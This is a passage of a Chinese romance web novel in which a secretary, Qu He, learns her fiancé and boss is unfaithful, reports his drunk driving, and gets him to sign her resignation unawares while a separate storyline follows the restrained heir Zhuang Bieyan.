钱昭野摸出烟盒,点了支烟。
烟雾缭绕,模糊了他的脸。
那张她爱了七年的脸,在这一刻消失了。
这七年的感情,也被他刚才的那番话彻底粉碎了...
曲荷默默坐在床榻边,听着他对自己的“控诉”,看着这场可笑的闹剧,只感觉灵魂好像被抽离。
原来钱昭野是这样以为的。
而在这一刻,她也不得不承认,钱昭野这个人...
烂了!
一支烟燃尽,钱昭野走近,居高临下俯视着坐在床边的曲荷。
就好像说出刚才那番话的人不是他一样,他又挂上了虚伪的温柔,指腹抚着她的脸,像在驯一只猫。
“阿荷,不要再让我失望了。你好好冷静一下,多想想我刚才说的话,我先走了。”
说完,他抓起床上的西装外套,走出卧室。
听到外面传来的关门声,曲荷终于支撑不住,跌坐在地上。
眼泪无声滑落,滴落在婚戒上。
钱昭野你果然还是忘记了,明明三年前提出求婚的人是你!
是你!跪在地上拿着戒指,求我!
求我嫁给你。
是你说‘阿荷,嫁给我吧,我想被你管一辈子!’
可是你都忘了...
是不是男人都是这样,总把说过的誓言忘得一干二净。
从来都不会承认自己的错误,永远只会狡辩,只会把罪责推到女人身上。
他们从来不会觉得愧疚,只会认为是你太能干,太强势,是你太贪心,想要的太多...
而女人却傻傻地因为他肾上激素上升时许下的诺言,而不顾一切,最后只能一遍遍凌迟自己的肉体和灵魂。
窗外,夜风骤起,卷着雨丝拍打在玻璃窗上。
曲荷慢慢摘下无名指上的婚戒,指尖微微颤抖。
一如三年前,钱昭野给她戴上时,她激动到发抖。
戒指掉落在地板上,发出脆响。
“钱昭野,以后我们,两不相干!”
良久,曲荷擦干眼泪,拿过手机拨通号码:“你好,是110吗?我举报有人酒驾,车牌号是....”
....
入夜。
北山墅。
庄宅。
书房内,安静的只能听到羊毫扫过宣纸的沙沙声。
茶桌上的金骏眉再次沸腾,茶香袅袅。
暗黄的灯影打在庄别宴清隽的侧脸上,他握着羊毫笔在洒金宣纸上留下一列列工整的楷书。
“第三百零五条:言多必失....第三百十一条:非善不交...三百十八条:决策既定,不可因人言而改之....”
庄别宴笔锋突然一滞,下午在婚纱店里的那个画面又浮现在眼前。
她不小心跌倒在怀的局促...腰间若隐若现的红痣..还有泛红的眼尾..
手下的运笔速度越来越快,字迹渐渐透露出了一股压抑的急躁。
他闭了下眼,喉结上下滚动,下笔的力道越来越重,好似下一秒就会穿透纸张。
但好像只有这样,才能把那些念头全都压下去。
“舅舅。”
一道稚嫩的童声突然响起。
四岁的小庄禧披着头发,穿着草莓熊睡衣,披着头发抱着只粉色Labubu玩偶走了进来,睡衣下摆上还沾着一点饼干屑。
她走到书桌对面,踮着脚看了眼桌上的东西,摇头晃脑的说:“舅舅,你又犯错了?”
庄别宴没有停笔,只是蹙了下眉:“为什么这么说?”
“妈妈告诉我的。”小庄禧歪着头圆溜溜的大眼睛转了一圈又一圈,“妈妈说,舅舅每次抄家训都是因为犯了错。”
她歪了下头像是在回忆,“上次是舅舅没有听外公的话去给禧儿找舅妈,上上次是因为妈妈说...”
“你妈妈话太多了。”庄别宴打断了小庄禧的话,手上动作却没有停下。
小庄禧捏着玩偶的耳朵,轻轻跺了下脚,“才没有!妈妈说了,舅舅身体里藏了只小怪兽。”
她一边说一边比了个看似恶狠狠,实则奶乎乎的怪兽手势。
过了会,她又皱起小脸满脸疑惑,“可是禧儿怎么一次都没见过?”
庄别宴握着羊毫笔的手停滞在半空,墨汁在洒金宣纸上晕开一个黑点,他盯着那团墨渍看了好几秒,继续落笔。
小庄禧正是好奇的年纪,没有听到想要的回答干脆直接绕过书桌,走到庄别宴边上,肉嘟嘟的小手扒着桌沿抵着下巴,眼珠子直勾勾看着桌上的字。
“哇,舅舅,你这次抄了好多啊。”
桌上的纸比她房间里的草莓熊贴纸还要厚,上面密密麻麻写满了黑色的字,看得头都晕了。
小庄禧刚上中班,最近新学了汉字,所以简单的字和数字还是知晓一点的。
她晃了晃小脑袋,庄别宴一边写她一边读了出来,“庄家家训第三百二十一条,不可..走..走人之...”
“咦?”小庄禧圆圆的眼睛里是大大的疑惑,肉嘟嘟的小手在空中点了好几下,眼睛全是清澈的好奇。
“舅舅,这个走人之...是什么意思呀?”
尽管她看着舅舅抄了那么多遍家训,可小庄禧还是一条都没记住,毕竟妈妈说了,庄家家训除了舅舅外没人会放在眼里。
庄别宴:“这个字不读走,读趁,最后一个字读危,危险的危。”
小庄禧也不知道有没有听懂,只是“哦”了声。
最后一条家训抄写完,庄别宴放下笔,看着纸上四个字,声音低沉:“庄家家训第三百二一条,不可趁人之危。”
他重复着一遍又一遍,每个字都咬得极重,像是在用这种方式告诫自己,‘不可趁人之危。’
可尽管如此,心底那份波动却依旧难以平息。
窗外,夜风袭来。
吹起宣纸一角,庄别宴拿过青瓷镇纸压住,指腹有意无意摩挲着纸张。
他垂下眼眸,盯着纸上的字,久久未能出神。
“舅舅?”小庄禧打了个哈欠,手里的Labubu玩偶已经快捏不住了,她揉了揉惺忪的眼睛。
“舅舅,你念了好多遍啊。”
庄别宴这才回过神,发现小庄禧已经困得东倒西歪了。
他立刻弯腰把她抱起,小庄禧像一只树袋熊一样趴在他肩膀上,嘴里不知道在嘟囔什么。
庄别宴把她嘴里的发丝拿了出来,问:“你妈妈呢?”
小庄禧打了个哈欠,脑袋一点一点,“妈..妈妈出去了...”
她迷迷糊糊模仿者平日里那些大人说话的语气,“妈妈和郁阿姨出去...去找乐子了。”
庄别宴眉头一皱。
拿出手机给联系人里的【庄留月】拨了电话过去。
劲爆热辣的DJ舞曲铃声循环到第二遍时,他掐断电话。
看着已经趴在他怀里睡着的小庄禧,庄别宴轻叹一声,迈着步子离开书房,走向她的卧室。
“不可..趁人之危,不可趁...人之危..不可...”
小庄禧已经睡熟了,嘴巴还是在嘟囔着。
庄别宴小心地把她放在床上,伸手把碎发理顺,掖好被角后轻轻离开。
书房里。
夜风再次掀起桌上的宣纸。
青瓷镇纸下,写满家训的宣纸被吹起一角,露出了压在底下的纸张。
字迹凌厉潦草,不同于抄写家训时的工整。
【令明珠蒙尘者,另当别论。】
墨迹深深浸透纸张,尤其是最后一个笔画,几乎划破纸张。
夜风轻拂。
院子里的德国鸢尾在月光下轻轻摇曳。
带着欲言难止的心事。
无声坠落。
第7章 该不会是分手了吧?
夜雨初歇。
翌日早晨,曲荷进公司的时候,不少人的目光在她身上停留。
锃亮的电梯镜门反射出她今日的穿搭,看着镜子里的自己,曲荷觉得有些陌生。
这是她五年来第一次没有穿那套黑沉沉的职业套装。
“叮。”
电梯门开。
清脆的高跟鞋声音穿过办公区来到了秘书部。
曲荷脚步微微一顿。
乔眠被几个同事围在中央,她那张妆容精致的脸上带着难以掩饰的娇俏和得意,手里捧着一大束卡布奇诺玫瑰。
粉咖色的花瓣还泛着露珠,显然是早上刚送来的。
熟悉的包装,熟悉的花束。
钱昭野,你就这么爱她吗?爱到人在警察局还不忘记给你的情人送花?
“乔眠你男朋友也太好了吧,隔三岔五就给你送花!”
“是啊是啊,相比之下,我男朋友送花的品味可太丑了。”
乔眠享受地听着旁人的吹捧,炫耀地捧着花。
“诶呀,其实我男朋友第一次送的也不是我喜欢的花,后来我跟他说了喜欢卡布奇诺,他才知道。”
她的声音甜得发腻,可落在曲荷耳里就像是添了蜜的毒药。
原来,不是分不清。
原来,不是记性差。
在真相面前所有的理由都是那么苍白虚无。
在钱昭野心里,从来就没有在意过她的想法,她的喜好从来都不值得被认真对待。
淡淡的玫瑰花香在这一刻像是化作了刺鼻的毒药,曲荷抓着沙发靠背才勉强稳住身子。
“乔眠,你男朋友对你可真好!你脖子上这条项链是A家的新款吧。”其中一个同事凑近惊叹,张开手掌,“起码五万起!而且要提前三个月订货!”
乔眠掩嘴微笑,轻轻拨弄着脖颈间那条玫瑰金爱心项链,“也还好吧,他前天刚送的,说我戴着好看嘛!”
项链在她手指间转了个方向,镶嵌在上面的钻石在灯光在闪着耀眼的光,狠狠刺痛着曲荷的眼。
她的目光像是被钉在了项链上。
这条项链...
三个月前她快临近生日的时候,在A家官网浏览图片被钱昭野看到,当时他从身后抱住她,下巴抵在她肩上,“喜欢这条?生日送你?”
当时她只说随便看看,不用乱花钱,可内心却还是期待他的心意。
只是男人随口一句的承诺,怎么能当真?
生日那天,他皱着眉说:“那条项链需要提前订货,都被买断了。再说你一个秘书带这么招摇的项链也不合适。”
最后塞到她手里的是一条斜纹丝巾,还有那句“阿荷,这条丝巾更衬你。”
而因为他那句话,她像是对待珍宝一样把丝巾珍藏在衣柜里。
现在想来,当时的自己真是蠢透了,被蒙蔽了双眼。
那条颜色艳丽的丝巾,应该只是项链的配货吧。
呵。
回想起乔眠身上那些时不时出现的奢侈品,又想到过去五年她付出和得到的。
曲荷眼里满是冰冷,连带着身体的血液都是凉的。
手机提示音响起。
是家政公司发来的消息【尊贵的会员曲女士,您预约的三百六十度无死角全面房屋清洁正在进行中,可点击下方直播链接实时观看。】
突然的手机提示音打破了当下的氛围。
行政助理小林最先注意到站在不远处的曲荷,声音因为惊讶有些变调,“曲..曲荷姐!”
几个同事听到后纷纷转头,在看到曲荷后不由得倒吸一口冷气。
这是...曲荷?
不...这还是那个平日里穿着古板老套的曲秘书吗?
同事们私下都在议论曲秘书时不时一年三百六十五天都把职业装焊死在身上,因为自从他们来到公司开始,就没有见过穿私服的曲荷。
原来她这么漂亮!
原本一丝不苟盘起的头发今日难得一见卷成了大波浪,雾霾蓝的掐腰连衣裙把腰线勾勒得纤细无比,V字领下是若隐若现的锁骨,脚下那双银色高跟鞋衬得整个人高挑又清冷。
早这么穿不就好了!
谁不爱美女呢!
曲荷迈步上前,她能感受到来自四面八方投来的目光,以及乔眠那张逐渐阴沉的脸。
“曲姐今天太美了吧!”
“这条裙子衬得你好白啊!”
“曲荷姐,你穿裙子比穿职业装好看多了!好看!爱看!多穿!”
行政助理小林笑嘻嘻地围了上来,“曲荷姐,你这条裙子是香家的早春新款吧!可不便宜哦~”
曲荷淡淡一笑,余光在瞥见乔眠掐皱的玫瑰花包装纸时,晃了晃裙摆,“眼光不错。”
“哇哦!这不会是你未婚夫买给你的吧!”
曲荷心一抖,没有回答。
其实这是她三个月前买给自己的生日礼物。
只是一直被她藏在衣柜最深处,除了她无人知晓。
久而久之她都快忘记这条裙子的存在。
也快忘记曾经的自己是什么模样了。
是啊!男人的承诺怎么能信呢?
想要的东西自己去买就好了。
她的沉默落在旁人眼里就是默认,大家又继续了新一轮的吹捧。
曲荷看着乔眠逐渐扭曲的笑,也不否认。
“曲荷姐,你今天穿得这么漂亮是要去和姐夫约会吗?”行政助理小林挤了挤眼睛,满是好奇。
这个问题一出来,空气片刻安静。
全公司都知道曲荷有个谈了很多年的男朋友,去年刚订婚,只是大家都没有见过那个男人的样子,最近甚至有谣言传出她的未婚夫是一个年过五十的地中海暴发户。
公司这些莫须有的谣言曲荷不是没有听到过。
任凭哪个女人听到这些诽谤谣言心里都不好受,她也曾和钱昭野谈过公开两人的关系,可每次得到的都是他的不耐烦。
“阿荷,旁人的看法你何必在乎?按照我们现在的关系公开并不是一件好事,再等等吧。”
“阿荷,你知道的,我很爱你,但如果别人知道完美在一起,肯定会有闲言碎语,还会影响公司发展。你能不能为我着想,再等等。”
她信了。
也等了。
一等就是五年。
从最开始的期待到心如止水。
她也以为时间久了就好了,只要她和钱昭野在一起就好了,其他什么都可以不在乎,可偏偏,都是假的!
整整五年,她就像个隐形人一样,顶着谣言在钱昭野身边扮演者“完美秘书”,而他却背着她和别的女人调情。
七年恋爱,五年地下情。
如果不是前段时间她的婚戒被同事发现,没人知道她快结婚了。
是啊!
明明他们快结婚了啊。
可为什么,到头来,她还是个见不得光的存在。
曲荷的沉默让气氛变得有些尴尬。
乔眠又恢复了那副趾高气昂的模样,一脸无辜地说:“曲荷姐,你该不会是分手了吧?我看你今天都没有带婚戒呢。”
众人的视线整齐划一落在曲荷手指上,她下意识摸了摸左手无名指上的那圈痕迹。
她嘴角微勾,语气轻飘飘的:“我准备最近换个大一点的婚戒。”
乔眠不服输,“是吗?那曲荷姐你什么时候把你的未婚夫带过来让我们瞧瞧?”
第8章 辞职,不干了!
说出这句话乔眠心里不免有些得意,她比谁都清楚钱昭野肯定不会愿意当众公布他和曲荷的关系。
她就等着曲荷出丑!
说完,见曲荷没有回答,她有些得意地扭了扭肩膀,捂嘴假意懊悔,“曲荷姐,我乱说的,如果不方便就算了。”
她这话一出,在场人的脸上纷纷挂上了看戏的表情。
难不成真和谣言传得一样?
曲荷的未婚夫是一个年过五十的地中海?
不然她为什么藏着掖着不让见人?
所有人的好奇心在这一刻展示得淋漓尽致。
“方便,怎么不方便?”
曲荷的声音清冷又锋利,打得乔眠一个措手不及,脸上的笑容瞬间凝固。
“啊?...曲荷姐,你这么擅自决定,你未婚夫知道吗?”
乔眠一时嘴快问了出来,说出来才后知后觉这句话似乎不合时宜,好像显得她知道什么一样。
曲荷若有所思“哦”了声。
“乔助理,你倒是对我的私生活很关注啊?有这心思倒不如用在工作上,一份合作文件被打回来三次这样的事情我不想再见到一次。”
气氛有些剑拔弩张。
旁边同事见状赶紧打圆场。
“小乔也是心直口快,没什么坏心思。”
“是啊是啊!”
刚来实习没多久的婷婷没听说过之前流传的谣言,在听到曲荷打算公开未婚夫的本就好奇,又因为接受到旁边传来的帮忙打圆场的眼神后,嘴比脑子快一下子就把心里想的问题说了出来。
“哈哈哈,是啊曲荷姐。那你的未婚夫一定很帅吧。”
此话一出,空气中好像飞过几只乌鸦。
旁边的小林扶额苦笑。
婷婷这才发觉自己似乎说错了话。
可想找补却已经来不及了。
曲荷却丝毫没有在意,把碎发别在而耳后,勾了下唇,“是,他很帅!”
她直视乔眠僵硬的脸,“下次聚餐的时候我让他过来,到时候你们就能见到他了。大家记得都要来,乔助理也可以带上你的男朋友。”
说到最后几个字的时候,她目光有意无意掠过乔眠。
“哇哦!原来姐夫是帅哥!”
“我就说曲荷姐这么漂亮,眼光肯定不会差到哪里去!”
“我开始期待了,聚餐那天我将会带上我两位数的日抛美瞳,睁大我的眼睛,绝不放过一丢细节。”
秘书部传出一阵惊呼。
曲荷简单交代了几句工作安排后走向自己的办公室。
在经过乔眠身边时,好像听到了包装纸被撕碎的声音。
大家在原地交谈了几句后逐渐散开,只剩乔眠留在原地独自咬牙切齿。
花朵包装纸被她揉得皱成一团,眼神死盯着刚才曲荷离开的方向,被气的胸口剧烈起伏。
昨晚她在酒店等了整整一夜,可钱昭野却迟迟不来!
钱昭野昨晚去了哪里?
为什么放她鸽子?
今天曲荷穿得这么漂亮,还在那么多人面前开下海口要带未婚夫来聚餐。
难道....
钱昭野昨晚和曲荷在一起。
难不成,他们真的打算公开恋情?
想到这里,乔眠已经嫉妒地发狂,她走向工位把花随手扔进了桌下的垃圾桶,拿出手机又开始疯狂拨打钱昭野的电话。
可是那头却始终无人接听。
.....
既然已经决定和钱昭野划分界限,那也就没有继续留在钱氏的必要了。
曲荷回到办公室后,登录了公司OA系统,上传了离职申请。
她不得不承认,这五年来钱昭野在工作上对她确实非常信任,手机密码,邮箱密码,公司账号密码几乎是共享给她。
近几年几乎所有需要钱昭野审批的流程,几乎都是她一手操办。
如果不是那天发现了他手机里的双系统,她怕是还沉浸在这份虚假的“信任”美梦里。
曲荷冷笑,直接登录钱昭野的账号审批通过。
最高级领导同意后,剩下的流程走得非常快。
在系统显示“审批通过”这个绿色对钩后,曲荷缓缓吐出一口气。
终于,要结束了。
现在只差最后一步提交离职报告,需要钱昭野本人的亲笔签字。
她看了眼时间,目光投向门口的落地玻璃。
钱昭野,也该到了。
没过多久,就听到一阵沉重的脚步声从走廊上传来。
钱昭野阴着脸走进了总裁办公室,与平日里那副道貌岸然的模样不同,今天周身环绕着低气压,眼下浮着淡淡的青黑,领带歪斜,西装下摆还有些细微的褶皱。
几乎是一见到他,乔眠就迫不及待凑了上去献殷勤,可还没等她说话,就被一句“滚出去”吼得退了好几步。
曲荷浅浅勾唇,收回视线,心情愉悦。
看来昨晚那通举报电话很成功,比她预想的效果还要好!
虽然昨晚钱昭野喝的酒不多,但也属于酒驾,再加上他的身份摆在那里,如果被大众知道北城新贵钱氏总裁因酒驾被抓,传出去一定会影响公司。
所以他一定会想尽办法压下这桩丑事!
半个小时后约了海外合作商线上会议,看他刚才这模样,是连衣服都没来得及换就赶过来了。
呵。
钱昭野,你以为这就够了吗?
曲荷退出账号,整理了几份需要钱昭野签字的文件,又把刚打出来的辞职报告夹在里面,起身走向他的办公室。
乔眠因为刚才被钱昭野这么吼了一下,憋了一肚子火,在看到曲荷走过来的时候,有些阴阳怪气,“曲姐,钱总说了谁也不见,你还是别去打扰他了。”
曲荷却连一个眼神都懒得给她,甚至没有敲门,直接推门走了进去。
钱昭野背对着门口站在落地窗前打电话,阳光洒进来,把他的身影拉得很长。
西装外套被他随意扔在沙发上,衬衫袖口卷到了手肘,肩膀崩得紧直,右太阳穴甚至还暴起了青筋。
曲荷知道钱昭野现在正处于极度生气的状态。
看着眼前这个熟悉又陌生的男人,曲荷第一次觉得这个男人也就那样,怎么她直接就瞎了眼呢?
她反手关上门,并没有克制力道。
钱昭野听到声响后挂断电话,头也不回吼了声。
“滚出去!我说了别来烦我!”
说完,他转过身,却在看清来人后瞳孔骤然一缩。
第9章 发现曲荷的转变
“你....?”
“...今天怎么穿成这样?”
钱昭野的声音顿了一下,目光在曲荷身上流转一圈,从雾霾蓝的裙摆扫到精致的妆容,喉结不自觉滚动,眼底夹杂着几分困惑,但更多的是惊艳。
曲荷缓步上前,裙摆摇曳,像盛放的蓝玫瑰。
“不好看吗?”
初升的阳光透过窗户打在眼前人上,像是踱了一层虚幻的光。
恍惚间,钱昭野好像看到了七年前穿着白裙向他跑来的女孩。
他想起了昨晚在婚房时说的那些话,难道她听进去了?
难道曲荷今天特意穿了裙子,是在用这种方式让自己下台阶?是在用这种方式向自己求和?
她果然还是低头了。
一想到曲荷在自己面前放下身段求和这件事,钱昭野心里莫名舒畅了不少,那股隐秘的征服欲又再次冒头,连带着被查酒驾的气都消了大半。
“好看,当然好看,你早这么穿就好了。”
钱昭野不自觉放低语气,带着他常用的虚伪笑容望向曲荷。
他最喜欢曲荷一次次在他面前低头顺从的样子,就像是在驯养一只听话的猫,让她怎么也逃不出自己的手掌心。
钱昭野:“昨晚...我的语气不太好,你别放在心上。”
他刻意放低声线,“但是阿荷,你要明白,不管怎么样我都是爱你的,都是为了我们的未来.....”
那些虚伪的,令人作呕的话像一条阴冷的毒蛇再次缠了上来。
钱昭野现在的样子她太熟悉了,每次只要他觉得自己完全掌握她的时候,都会用这种看似温柔的目光看着她。
是不是在他眼里,这是一种天大的恩赐!天大的施舍!
简直可笑至极!
曲荷忍住恶心,不动声色后退半步,把手里的文件夹挡在了两人中间,“这些文件需要你签字。”
钱昭野没有多想,接过文件的时候还故作亲昵地摸了下曲荷的手背。
他回到桌前坐下,随手翻了几页文件,大概浏览一下后就拿出钢笔开始签字。
曲荷的目光紧紧跟着他手上的动作。
三页,两页,一页。
在看到他马上就要翻到夹在中间的离职报告后,心跳不由得加速,攥成拳的手心已经沁出汗。
“你今天怎么了?心情不好?”
曲荷突然开口。
尽管她已经刻意放低了声线,模仿平日里的关切语调,却还是能听出几丝紧绷。
好在钱昭野并没有发现什么。
在听到曲荷的话后,他注意力立刻被转移。
他“刷刷”几笔签下自己的名字后,“啪”的一下合上文件,往前一推。
“别提了!”
钱昭野的颜色又恢复了早上见到时的阴沉。
“昨天晚上走的时候碰上交警,被查了!”
说到这里,他就烦躁地扯开领带,“真他妈见鬼了,那段路开了那么多次,从来没碰到过有查车的,怎么偏偏昨天喝了几口就撞上了。”
“我在警察局呆了一整夜,那群人....”
在听到钱昭野没有把昨晚被查酒驾的事情怀疑到自己身上的时候,曲荷悄悄吐了口气。
她拿过文件,翻到离职报告那一页,在看到上面的签名后,跌宕起伏的心终于安定下来。
耳边还是钱昭野喋喋不休的抱怨,从交警的态度说到警察局椅子又冷又硬,再到一晚上没吃饭,好不容易出来后还急着赶到公司....
说着说着,钱昭野终于察觉到一丝不对劲。
曲荷的态度!
她一反常态的沉默!
他停下抱怨,皱了下眉,看向站在桌子对面的曲荷。
她好像并没有把自己说的那些话放在心上,只是自顾自地整理文件,带着一副事不关己高高挂起的平静。
她到底有没有在听刚才他说的话?
换做平时,在知道他遇到了这种事,曲荷肯定会着急问他有没有受伤,会比他自己都着急,会担心他一晚上没睡好,会心疼他一晚上没吃饭,甚至会主动提出去给他煮粥....
可今天怎么?
一股没来由的心慌涌上心头。
钱昭野下意识揉了揉隐隐作痛的胃,昨晚在警察局折腾了一晚上,到现在别说一口饭了,一滴水都没喝过,又加上曲荷莫名的态度,让他胸口开始发闷。
怎么觉得今天的曲荷好像哪里变了。
有些陌生。
眼前人虽然一改往常的穿着打扮,可这抹亮丽的蓝在这一刻却好似化作了一团抓不住看不清的迷雾,盘旋在心尖。
他抓不住她,只能看着她逐渐远去。
“阿荷....”
钱昭野猛地起身,走到曲荷身边。
他想伸手拉她的手,可她却躲开了。
钱昭野莫名有些执拗,他一把拉过她的手,像是在用这种方式证明什么。
“昨晚是我态度不好,今晚一起去吃饭?去吃你最喜欢的那家法国菜好不好?”
曲荷没有回答,只是微微一侧身,收回被他握住的手。
她从来都不喜欢吃什么法国菜。
又贵又吃不饱。
钱昭野的手落空,顿了一下。
正想说些什么,就听到曲荷担忧地说:“你一晚没吃饭,胃肯定不舒服吧。我中午给你煮份粥?”
钱昭野的办公室隔壁就有一间小厨房,因为知道他胃不好,所以平日里曲荷经常在这里给他煮粥,煮面条,她比钱昭野还要关心他的身体。
她的一句话像一针镇定剂,瞬间抚平了钱昭野心头涌起的不安。
他不由得松了口气,连带着刚才曲荷的躲避也没放在心上。
她还是她,还是那个时时刻刻,永永远远把他都放在第一位的曲荷。
刚才应该是他想多了....
钱昭野有些亲昵地帮她把耳边的碎发别到耳后,“阿荷,还好有你。”
又是那副假模假样,虚假的笑容。
曲荷强忍着把他的手打开的冲动,嘴角扯出一抹僵硬的笑,“那我先出去了。”
办公室门关上瞬间,曲荷终于卸下了假意的笑容。
她拿出手机点开外卖软件下单了一份干贝鲜虾粥,又备注了“要滚烫的!”
这是钱昭野最爱喝的粥。
他胃不好,公司刚成立的时候钱昭野忙着应酬,有时候顾不上吃早饭,那个时候她可以为了钱昭野一句“阿荷,我想喝你煮的粥”在大冬天早起帮他熬。
干贝需要提前四十分钟处理泡发,鲜虾是她去海鲜市场亲自挑选回来,亲自处理去虾线的。
她在一个从未真正把她放在心上的男人花了七年时间,真的太蠢了!
第10章 钱昭野和曲荷关系“不一般”
曲荷坐电梯下到了人事部,直直走向经理办公室。
“郭经理。”曲荷敲了两下门,推开。
人事部郭经理正在整理文件,抬头看到曲荷的瞬间,倒吸一口冷气,手上的文件“啪”的一下掉在桌子上。
“曲....曲秘书?”
这还是那个常年穿着黑白灰职业套装的曲荷吗?
郭经理的视线在她身上来回扫了好几圈,怕自己认错人,还重新扶了下眼镜,“您这是....”
曲荷把手里的文件夹推到他面前,“请郭经理尽快帮我办理一下。”
“曲秘书客气了,有什么事情您直接打个电话通知我们上去就行,哪还用得着....”
他一边说一边翻开文件夹,在看到顶部离职报告四个大字后,手一抖。
“离职....!!!”
郭经理的声音不由地高了几个八度,引得外面好几个员工好奇地探头张望,郭经理快步走上前拉下百叶窗。
他干笑两声,“曲秘书,您这是在开玩笑吧?您这离职申请我可是做不了主。”
人事部负责办理公司所有员工的入职离职手续,他也算从钱昭野创业初期就跟着的老员工了,但实际上五年前曲荷的入职手续并不是他办理的。
而是钱昭野一手操办的。
他还记得五年前曲荷空降的场景,那个穿着不合身的廉价西装,盘着头发刚毕业的学生,被全体员工当成关系户指指点点。
当时大家都认为她是那种不务正业,想靠某种手段走捷径的人,可是一年后,她就用近乎完美的工作能力打了所有质疑者的脸。
五年来,他也算是看着曲荷一步步成长,成为了钱昭野身边的一把手。
怎么就突然想辞职了呢?
郭经理的声音有些发紧,试探着询问:“钱总...他知道这事吗?”
曲荷单手撑着桌沿,静静看着他,“流程完整,签字齐全,离职报告和OA审批流程单都在这里,郭经理你只需要按照公司规章制度办理即可。”
她一边说一边翻开文件夹,重重点了两下离职报告右下角钱昭野的签名。
“还是说,郭经理不认识钱总的签名?”
“当然...当然不会。”郭经理头顶冒出冷汗,钱昭野的签名他当然认识。
只是没有想到他居然会同意曲荷的离职。
曲荷身体微微前倾,朝他的方向暼了一眼,“那就好,我还以为人事部现在已经胆子大到可以无视总裁的亲笔签名了。”
“不敢不敢!”
“那就好。”曲荷的声音很轻,却带着不容置疑,“那、就、请、按、照、流、程、办、事!”
无形的威严瞬间压了下来,郭经理后背沁出一层冷汗。
他忽然意识到好像有什么东西在悄然改变,他好像从来没有真正认识过曲荷这个人。
“好的好的,您稍等,我现在就给您办理手续。”
郭经理点头哈腰,手忙脚乱拿过文件,“曲秘书,按照公司流程您还需要填写一份公司公共财产归还清单表,我去拿来给您。”
曲荷点点头。
郭经理走出办公室让下属去拿表格,他自己却走向了边上的小会议室。
他看了好几遍手里的离职报告,像是要看出什么花来。
上面是钱昭野的亲笔签名不假,可是他还是觉得曲荷离职这事有点蹊跷。
虽然前段时间,公司里有在传说曲荷的未婚夫是地中海啤酒肚暴发户,但他却不怎么认同这事。
五年前公司刚创立初期,他和钱昭野参加一场饭局应酬,结束的时候两人醉得一塌糊涂。
可醉得不省人事的钱昭野却紧紧拉着曲荷的手,含糊不清地说着“阿荷..回家..回家....”
当时他还以为自己眼花,毕竟这几年来两人在公司的相处是在明显不过的上下级。
可在这一刻,五年前那晚的记忆却无比清晰地再次浮现。
真的是眼花吗?
“不行,得问清楚,可不能背这个黑锅。”
郭经理拿出手机拨出钱昭野的号码,电话那头响了好几声终于被接通。
“钱总,我是...”
话刚开口,就被打断。
接电话的人并不是钱昭野,而是和曲荷同级的一把手安达,是钱昭野的特助。
安达语调平平,“有什么事?”
郭经理觉得这事还是得和钱昭野说,“安特助,我想找钱总确认一些事情。”
“钱总在休息。”安达声音冷冰冰的,“有什么事和我说。”
郭经理咽了口唾沫,看了眼时间,压低声音说:“是曲秘书,她要离职.....”
他刚开口,就听到电话那头传来一阵嘈杂,一阵窸窸窣窣过后,是安达毫无波澜的声音,“钱总说了,一切按照公司的规章制度办。”
他的声音透着几分不耐烦,“以钱总的亲笔签名为准。”
“可是....”
电话被粗暴地挂断。
与此同时,总裁办公室内,钱昭野烦躁地解开了衬衫最顶部的扣子,身子半倚靠在沙发上揉着眉心。
乔眠刚被他打发走,空气里还飘着若有若无的香水味。
刚才她闹出的动静,差点让公司里的人知道他们的关系,他吐出一口气,乔眠这无理取闹的性子,还是不如曲荷的沉稳大气。
他揉了揉太阳穴,看了眼走进来的安达,随口问道:“谁的电话?”
安达把手机放在茶几上,“人事部郭经理打来的。”
刚才乔眠离开的时候,闹出不小动静,安达根本没听到郭经理说的话,但十有八九又是帮他哪个亲戚走后门。
安达露出几分不屑,他最讨厌这种关系户了。
钱昭野:“说什么事?”
安达:“只是一些有关基础人事安排的事情,我已经按您的吩咐交代下去一切按照公司规章制度办理,以钱总您的亲笔签名为准。”
钱昭野心不在焉点点头,“这种小事你处理好就行。”
他抬手看了眼腕表上的时间。
距离曲荷说给他煮粥已经过去快半个小时,他的胃又开始隐隐作痛。
想到今天曲荷别开一面的穿搭,钱昭野嘴角不自觉上扬。
“去开会吧。”钱昭野起身,整了整西装下摆。
“好的。”安达紧随其后,“曲秘书还没来,需要我打电话通知她吗?”
钱昭野挥了挥,“她有事,今天的会议你全程跟进。”
安达嘴角的笑意比AK还难压下,“是!钱总!”
两人前后脚进了会议室。
曲荷办完手续上来后刚好和他们错开。
外卖软件发来消息通知,点的干贝海鲜粥已经到了。
第11章 离开
曲荷拿着外卖包装袋进了隔壁小厨房。
她面无表情地把粥倒进小锅里,开火后随便搅拌了几下。
陶瓷勺碰撞锅壁发出清脆的声响。
曲荷看了眼时间,估摸着钱昭野会议的进程差不多快结束后,端着小锅进了总裁办公室。
钱昭野推门走进办公室的时候,就看到曲荷正弯腰盛粥的背影。
裙子的掐腰设计勾勒出她纤细的腰线,他的目光在她身上来回扫视,眉头却越皱越紧。
钱昭野突然想起了刚才听到那些下属的窃窃私语:
“没想到曲秘书身材这么好...”
“是啊,平时穿成那样有点暴殄天物了....”
“...”
那些露骨的赞美刺得他太阳穴直跳,像针一样扎在他心上,让他想起了大学时那些觊觎曲荷的男生。
就像是自己珍藏多年的宝贝,可现在,这份惊艳居然被其他人分享!
他直直盯着曲荷的背影。
曲荷端着粥转身的时候,正好对上钱昭野阴鸷的眼神。
她却假装没察觉,“会议结束了?快喝粥吧!”
钱昭野半眯着眼,大步走到她面前,声音冷得像淬了冰,“以后别穿成这样了。”
曲荷低头勾起一抹冷笑,再抬头时已经换上了困惑的表情:“怎么了?”
钱昭野眼神闪烁了一下,掩去那几分阴沉,“你不适合穿这种衣服。”
说着他就想伸手搂她的腰,话里还带着令人作呕的占有欲,“还是换回之前的职业套装吧。”
曲荷巧妙一转身,避开他的触碰,没说什么,只是把粥塞进他手里,“先喝粥吧。”
钱昭野手上落了空,本想发作,却在闻到粥的香气后顿住了。
他低头喝了口,暖乎乎的粥入口后,抚慰了翻腾的肠胃。
钱昭野心满意足地享受着,其实曲荷对他而言就像这碗粥,平淡却不可或缺。
而乔眠....充其量只算一道饭后甜品。
一碗粥下肚,他满足地叹息:“阿荷,你的手艺还是这么好。”
他语气亲昵得好像刚才那些冷言冷语并不是从他嘴里说出来一样。
“是么,好喝那你就多喝一点。”曲荷转身又给他盛了一碗,只是攥着勺子手柄的手指却几乎泛白。
果然啊!
这一刻,曲荷想起了凌晨三点还亮着灯的厨房,想起了初学煮粥时被烫伤的手指...
可原来,在钱昭野的眼里,其实和外卖没什么区别。
